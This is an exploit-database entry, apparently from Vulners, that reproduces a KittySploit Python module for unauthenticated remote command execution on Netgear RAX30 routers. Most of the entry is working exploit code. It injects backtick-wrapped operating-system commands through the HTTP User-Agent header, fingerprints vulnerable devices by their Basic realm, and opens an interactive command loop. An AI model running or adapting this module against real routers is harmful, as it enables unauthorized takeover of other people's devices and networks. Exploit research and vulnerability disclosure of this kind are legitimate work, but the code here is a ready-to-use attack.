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Netgear RAX30 RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated remote command execution in Netgear RAX30 allows operating system level commands.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear RAX30 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netgear RAX30 RCE',
        'description': 'Module exploits remote command execution in Netgear RAX30 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ['Pwn2Own 2022 Toronto - multiple researchers', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html', 'https://claroty.com/team82/research/chaining-five-vulnerabilities-to-exploit-netgear-nighthawk-rax30-routers-at-pwn2own-toronto-2022', 'https://mahaloz.re/2023/02/25/pwnagent-netgear.html'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        headers = {
            "User-Agent": "`{}`".format(cmd)
        }

        self.http_request(
            method="GET",
            path="/",
            headers=headers
        )
        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/"
        )

        if response and "WWW-Authenticate" in response.headers.keys() and \
          'Basic realm="RAX30"' in response.headers["WWW-Authenticate"]:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

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19 Aug 2026 05:37Current
6.1Medium risk
Vulners AI Score6.1
0